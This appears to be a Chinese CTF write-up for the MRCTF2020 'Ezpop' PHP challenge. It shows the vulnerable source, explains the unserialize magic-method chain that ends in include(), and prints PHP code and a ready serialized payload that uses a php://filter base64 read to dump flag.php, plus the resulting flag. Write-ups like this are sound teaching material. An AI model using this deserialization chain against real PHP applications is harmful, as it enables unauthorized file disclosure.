[MRCTF2020]Ezpop

50 篇文章 4 订阅
17 篇文章 1 订阅

[MRCTF2020]Ezpop

1.开局就是代码审计

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}



在这里插入图片描述

2.一步一步进行反向推敲
3.明确目的,我们想利用include()函数进行文件包含的漏洞利用,然而include()又在append方法中,因此需要先触发append方法,但是无法直接调用append方法,只能通过__invoke()魔术方法进行触发。

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

4.那什么时候会触发__invoke()魔术方法呢?当对象被当做函数时,才会触发__invoke()函数,此时,我就卡在了反推的这一步,卡的死死的。

5,反向推测先暂缓一下,使用正向思维进行探测,通过GET的请求方式进行pop参数的传参,然后对pop字符串的内容进行反序列化处理。

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

6.当我们使用反序列化时,会触发__wakeup()方法,此时的变量source就会被当做字符串进行处理,此时就会触发__tostring()方法

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

7.当触发__tostring()方法后,当str不存在时,就会触发__get()方法,此时就会调用变量p,此时返回的是function()这个函数


class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

8.此时的变量p,此时我们传入Modifier的对象,就会被当做函数返回,从而触发__invoke()方法,此时就和卡着的第二步成功接轨。

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

9.那么反向推理的思维总结如下

include()函数的调用<–append()方法的触发<–__invoke()方法的触发<–__get()方法的触发<–__tostring()方法的触发<–__wakeup()方法的触发<–反序列化

10.pop链的构造

<!--####通过pop参数,GET方式传入,然后进行反序列化,反序列化的话就会出发__wakeup()方法,这个时候$this->source就会被当做字符串进行执行-->
<!--####这个时候就会出发__tostring()方法,进行$this->str->source,这个时候str是不存在的变量,如果此时$str被当做不存在的对象执行时-->
<!--####就会出发__get()方法,就会返回$this->p,这个时候如果将对象p当做函数执行时,就会出发__invoke()方法,从而调用include()函数,-->
<!--触发文件包含漏洞。-->
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}


$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo urlencode(serialize($b));

在这里插入图片描述

11.生成的pop

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

在这里插入图片描述

12.base64在线解密得到flag

在这里插入图片描述

flag{3d978fdf-0807-4de2-bbe0-95efad49042d}

在这里插入图片描述

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值